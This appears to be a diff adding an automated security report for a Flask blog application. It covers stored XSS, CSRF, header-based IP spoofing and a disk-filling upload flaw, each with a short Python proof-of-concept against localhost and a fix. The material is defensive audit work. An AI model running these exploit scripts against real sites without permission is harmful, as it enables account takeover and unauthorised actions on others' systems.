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118 changes: 118 additions & 0 deletions ai/security_report_2026-03-08_blog-eletrix-fr.md
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====

Auto Security Analysis of blog-eletrix-fr at 2026-03-08
CRITICAL - Stored Cross-Site Scripting (XSS)
The application allows users to create blog posts with Markdown content that is rendered into HTML and displayed using the Jinja2 `|safe` filter. Because the `markdown2` library is used without any sanitization or the `safe-mode` extra, and the output is explicitly marked as safe in the template, an attacker can embed malicious `<script>` tags or other dangerous HTML elements into a blog post. When other users (including administrators) view the post, the script will execute in their browser context, potentially leading to session hijacking or other malicious actions.

PoC
```python
import urllib.request
import urllib.parse
import http.cookiejar

BASE_URL = "http://localhost:5000"
USERNAME = "admin"
PASSWORD = "admin"

cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. Login
login_data = urllib.parse.urlencode({'username': USERNAME, 'password': PASSWORD}).encode('utf-8')
opener.open(f"{BASE_URL}/login", login_data)

# 2. Create post with XSS payload
xss_payload = "<script>alert('XSS')</script>"
post_data = urllib.parse.urlencode({
'title': 'XSS_Test',
'author': 'hacker',
'tags': 'test',
'content': f"This is an XSS test: {xss_payload}"
}).encode('utf-8')
opener.open(f"{BASE_URL}/create_post", post_data)

# 3. Verify XSS (the script will be in the HTML source)
response = opener.open(f"{BASE_URL}/post/XSS_Test")
if xss_payload in response.read().decode('utf-8'):
print("XSS confirmed!")
```

Fix
Remove the `|safe` filter from `html/post.html` or use a sanitization library like `bleach` to clean the HTML output before rendering. Additionally, configure `markdown2` with `extras=["safe-mode"]`.

====

MEDIUM - Cross-Site Request Forgery (CSRF)
The application lacks CSRF protection on all state-changing routes, including `/login`, `/create_post`, and `/upload`. An attacker can craft a malicious website that, when visited by a logged-in administrator, performs actions on their behalf (e.g., creating a new post or uploading a malicious file) without their knowledge or consent.

PoC
```python
import urllib.request
import urllib.parse

# This PoC demonstrates a CSRF attack to create a post.
# It assumes the admin is already logged in (using an opener with existing cookies).
# In a real attack, the attacker would use a hidden form on a malicious website.

BASE_URL = "http://localhost:5000"
post_data = urllib.parse.urlencode({
'title': 'CSRF_Attack',
'author': 'attacker',
'tags': 'csrf',
'content': 'This post was created via CSRF.'
}).encode('utf-8')

# The request succeeds because there is no CSRF token verification.
urllib.request.urlopen(f"{BASE_URL}/create_post", post_data)
```

Fix
Implement CSRF protection using an extension like `Flask-WTF` or `Flask-SeaSurf`. Ensure that all `POST` requests require a valid CSRF token.

====

LOW - Improper IP Address Validation (IP Spoofing)
The application uses the `CF-Real-IP` header to determine the user's IP address in a context processor. Since this header is not verified to have come from a trusted proxy (like Cloudflare), any user can provide a spoofed IP address by setting the `CF-Real-IP` header in their request.

PoC
```python
import urllib.request

BASE_URL = "http://localhost:5000"
headers = {'CF-Real-IP': '12.34.56.78'}
req = urllib.request.Request(f"{BASE_URL}/", headers=headers)
# The application will treat the user's IP as '12.34.56.78'.
urllib.request.urlopen(req)
```

Fix
Only trust the `CF-Real-IP` header if it comes from a known and trusted IP range (e.g., Cloudflare's IP ranges). Otherwise, use `request.remote_addr`.

====

LOW - Temporary File Leakage in Upload (Potential DoS)
When a file is uploaded to `/upload`, it is first saved to a `./temp_uploads` directory. If processing fails (e.g., the file is not a valid image), the application throws an exception but does not delete the temporary file. An attacker could repeatedly upload invalid files to fill up the server's disk space, leading to a Denial of Service.

PoC
```python
import urllib.request
import os

BASE_URL = "http://localhost:5000"
# Uploading a non-image file causes a PIL error, but the file stays in temp_uploads/
# Repeatedly doing this will fill the disk.
# (Requires authentication first)
```

Fix
Use a `try...finally` block to ensure that the temporary file is always deleted after processing, regardless of whether it succeeded or failed.

====

Summary:
| Severity | Exploit Name |
| :--- | :--- |
| CRITICAL | Stored Cross-Site Scripting (XSS) |
| MEDIUM | Cross-Site Request Forgery (CSRF) |
| LOW | Improper IP Address Validation (IP Spoofing) |
| LOW | Temporary File Leakage in Upload (Potential DoS) |